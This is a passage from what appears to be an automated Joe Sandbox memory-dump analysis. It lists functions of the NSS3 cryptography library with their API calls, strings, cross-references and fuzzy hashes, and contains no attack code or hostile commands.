sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C715EED

Strings

invalid, xrefs: 6C715EBE
%s at line %d of [%.10s], xrefs: 6C715EE0
API call with %s database connection pointer, xrefs: 6C715EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C715E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C715ED1
misuse, xrefs: 6C715EDB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 909948e62332cdcd752e1d0ef80b7717b0ea305543af40d2e8d0661c377f920c
Instruction ID: 1c6f83866487f86e0f9d8440f324f4cc9587600dd5ead333a281a5385ed22722
Opcode Fuzzy Hash: 909948e62332cdcd752e1d0ef80b7717b0ea305543af40d2e8d0661c377f920c
Instruction Fuzzy Hash: E081BE30B196119BEB9D8E24EA89BAA7374BF4130CF2C0279D8555BF41D730E846CBD1

Function 6C6FDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6FDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FDF78

Strings

%s at line %d of [%.10s], xrefs: 6C6FDE61, 6C6FDE90
database corruption, xrefs: 6C6FDE5C, 6C6FDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FDE52, 6C6FDE81

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 600af63080b469c4bf0fca19bd1e0a5479198e661132d614c9b8f81d6ef2a7a6
Instruction ID: 73c1aae7d5bd93e0767fd2c9402fac4d745335307d405e9df72128f990de4b06
Opcode Fuzzy Hash: 600af63080b469c4bf0fca19bd1e0a5479198e661132d614c9b8f81d6ef2a7a6
Instruction Fuzzy Hash: 4681B571604300AFD714CF25C890B6A77F2BF45308F15882DE9A98BB51E731F846C7AA

Function 6C6ACEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6AB999), ref: 6C6ACFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6AB999), ref: 6C6AD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C6AB999), ref: 6C6AD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6AB999), ref: 6C7F972B

Strings

%s at line %d of [%.10s], xrefs: 6C6ACFEC, 6C6AD018, 6C6AD029, 6C6AD03F, 6C7F978B
database corruption, xrefs: 6C6ACFE7, 6C6AD013, 6C6AD028, 6C6AD039, 6C6AD03E, 6C7F9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ACFDD, 6C6AD00E, 6C6AD022, 6C6AD033, 6C7F9780

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: ec61b5a5c7220ce67c8b896ba54019c982e96b3e62e617ba204c7073130d8669
Instruction ID: 5ab6a1b706e0e2336fd08427fccf801043c407847d7267fa730650f0bad4dd07
Opcode Fuzzy Hash: ec61b5a5c7220ce67c8b896ba54019c982e96b3e62e617ba204c7073130d8669
Instruction Fuzzy Hash: 6A614671A002109BD320CF69C940BA7B7F1EF95318F6845ADE4499BB82D3B6E847C7A5

Function 6C784DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C78536F,00000022,?,?,00000000,?), ref: 6C784E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C784F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C784F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C784FAE
free.MOZGLUE(?), ref: 6C784FC8

Strings

%s=%s, xrefs: 6C784F89
oSxl", xrefs: 6C784DFB, 6C784EF4, 6C784EC5
%s=%c%s%c, xrefs: 6C784FA9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSxl"
API String ID: 2709355791-2060773564
Opcode ID: 61e4e8d622d840afd4e1f82d59992e55762b87f0ef9a0d213221fb0ae4f5921e
Instruction ID: cb4f865887019b232a3d85031a53a8d0ecc1b1fda91807612a1fcb6ef6ed479a
Opcode Fuzzy Hash: 61e4e8d622d840afd4e1f82d59992e55762b87f0ef9a0d213221fb0ae4f5921e
Instruction Fuzzy Hash: 70514931A071458BEB11CA6A86B47FF7BFD9F42308F188139EA90A7A41D3A5880597B1

Function 6C7AEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C7CA4A1,?,00000000,?,00000001), ref: 6C7AEF6D

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

htonl.WSOCK32(00000000,?,6C7CA4A1,?,00000000,?,00000001), ref: 6C7AEFE4
htonl.WSOCK32(?,00000000,?,6C7CA4A1,?,00000000,?,00000001), ref: 6C7AEFF1
memcpy.VCRUNTIME140(?,?,6C7CA4A1,?,00000000,?,6C7CA4A1,?,00000000,?,00000001), ref: 6C7AF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C7CA4A1,?,00000000,?,00000001), ref: 6C7AF027

Strings

dtls13, xrefs: 6C7AEF33

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 384e7603ba73cfbc0530f2a61702ac45519640a3f3a76ea7f867a9cdc2727fb0
Instruction ID: 4534d25ac1363dbf2ba9849506d2e31f2e041192b9e4aec58cacb9503f54d130
Opcode Fuzzy Hash: 384e7603ba73cfbc0530f2a61702ac45519640a3f3a76ea7f867a9cdc2727fb0
Instruction Fuzzy Hash: 3B311871A012159FC710DFA8CE84B8AB7E4EF49348F158139E8189B751E731ED26CBE1

Function 6C72AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C72AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C849500,6C723F91), ref: 6C72AFD2

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

DER_GetInteger_Util.NSS3(?), ref: 6C72B007

Part of subcall function 6C776A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C721666,?,6C72B00C,?), ref: 6C776AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C72B02F
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C72B046
PL_FreeArenaPool.NSS3 ref: 6C72B058
PL_FinishArenaPool.NSS3 ref: 6C72B060

Strings

security, xrefs: 6C72AFB8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 5f43cc831e1fcfdbfd9d1937356069c94ac89d91917a9e00da20325291241788
Instruction ID: d929df7a55b4c1be060ca9f9ddd58e5d1f2a54a11df138ea7fcf3278e9538381
Opcode Fuzzy Hash: 5f43cc831e1fcfdbfd9d1937356069c94ac89d91917a9e00da20325291241788
Instruction Fuzzy Hash: D3315D714043009BDB318F14DE48BAAB7A4BF4636CF104628E9765BBC1E33AA249C797

Function 6C76CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C76CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C76CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C76D079

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ea55d6dc013b290c36b83bd250f0c9c93737c21a381a4b6477fc74a860895301
Instruction ID: d62be8c2286f1db9abc11126814df2d1f3e026afece2939aad6941afacc1c9b3
Opcode Fuzzy Hash: ea55d6dc013b290c36b83bd250f0c9c93737c21a381a4b6477fc74a860895301
Instruction Fuzzy Hash: 39C191B1A002199BDB20CF25CD88BDAB7B4BB48318F1441A8ED4897B41E775EE95CF90

Function 6C75DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7697C1,?,00000000,00000000,?,?,?,00000000,?,6C747F4A,00000000), ref: 6C75DC68

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DFAA

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: ba7323709fbac40336c153b938195f62f1425d80f3a580110f716d7fd22362fc
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: E581D5707036048BFB114A18CF9435D769ADB70748FA0843AD51ACAFE1EF75C8E4C64A

Function 6C733C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C733C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C733C94

Part of subcall function 6C7295B0: TlsGetValue.KERNEL32(00000000,?,6C7400D2,00000000), ref: 6C7295D2
Part of subcall function 6C7295B0: EnterCriticalSection.KERNEL32(?,?,?,6C7400D2,00000000), ref: 6C7295E7
Part of subcall function 6C7295B0: PR_Unlock.NSS3(?,?,?,?,6C7400D2,00000000), ref: 6C729605

PORT_NewArena_Util.NSS3(00000800), ref: 6C733CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C733CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C733CE1

Part of subcall function 6C733090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C74AE42), ref: 6C7330AA
Part of subcall function 6C733090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7330C7
Part of subcall function 6C733090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7330E5
Part of subcall function 6C733090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C733116
Part of subcall function 6C733090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C73312B
Part of subcall function 6C733090: PK11_DestroyObject.NSS3(?,?), ref: 6C733154
Part of subcall function 6C733090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73317E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: c5964d89452e2a530f47f234afd20a009545c8c85975b9d782824cd00f9721ab
Instruction ID: 7bca99bb165b60200c4270e07f034a58c3a306a9ed2d199f2770c43491b10405
Opcode Fuzzy Hash: c5964d89452e2a530f47f234afd20a009545c8c85975b9d782824cd00f9721ab
Instruction Fuzzy Hash: 8A61F875A40210ABEB205E65DE4DFA776B9EF04748F084038FE0DDAA93F721D915C7A1

Function 6C722C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(C3E59854), ref: 6C722C5D

Part of subcall function 6C780D30: calloc.MOZGLUE ref: 6C780D50
Part of subcall function 6C780D30: TlsGetValue.KERNEL32 ref: 6C780D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C722C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C722CE0

Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C722CDA,?,00000000), ref: 6C722E1E
Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C722E33
Part of subcall function 6C722E00: TlsGetValue.KERNEL32 ref: 6C722E4E
Part of subcall function 6C722E00: EnterCriticalSection.KERNEL32(?), ref: 6C722E5E
Part of subcall function 6C722E00: PL_HashTableLookup.NSS3(?), ref: 6C722E71
Part of subcall function 6C722E00: PL_HashTableRemove.NSS3(?), ref: 6C722E84
Part of subcall function 6C722E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C722E96
Part of subcall function 6C722E00: PR_Unlock.NSS3 ref: 6C722EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C722D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C722D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C722D3F
free.MOZGLUE(00000000), ref: 6C722D73
CERT_DestroyCertificate.NSS3(?), ref: 6C722DB8
free.MOZGLUE ref: 6C722DC8

Part of subcall function 6C723E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C723EC2
Part of subcall function 6C723E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C723ED6
Part of subcall function 6C723E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C723EEE
Part of subcall function 6C723E60: PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C723F02
Part of subcall function 6C723E60: PL_FreeArenaPool.NSS3 ref: 6C723F14
Part of subcall function 6C723E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C723F27

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 96b9f9951e421fcf9f623cc31758cbd1cd0dc02820a1f7a9074c5b784221f9d5
Instruction ID: 826dd25df99e1d05cbca26d80941335f70d02fa9a09ece80887a1babe3d3d784
Opcode Fuzzy Hash: 96b9f9951e421fcf9f623cc31758cbd1cd0dc02820a1f7a9074c5b784221f9d5
Instruction Fuzzy Hash: A351FF71A143119BEB119E28CE8EB5B77E5EF94328F14043CEC4983751EB35E815CB92

Function 6C748F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C748FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C748FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C748FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C749013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C749042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C74905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C749073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7490EC

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C749111

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 74b7f3f71c695b38deba0e2acc26a5a74c36784a0bede60e7b671344a8d75302
Instruction ID: 413f6a97c5224f0b927f89df7248b728e0286ee0945aa7d39ed01e011135564e
Opcode Fuzzy Hash: 74b7f3f71c695b38deba0e2acc26a5a74c36784a0bede60e7b671344a8d75302
Instruction Fuzzy Hash: 2B517775A05215CFCB10EF78C688299BBB8BF4A318F058579DC449BB16EB30E884CBD1

Function 6C728980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C727310), ref: 6C7289B8

Part of subcall function 6C781200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C781228
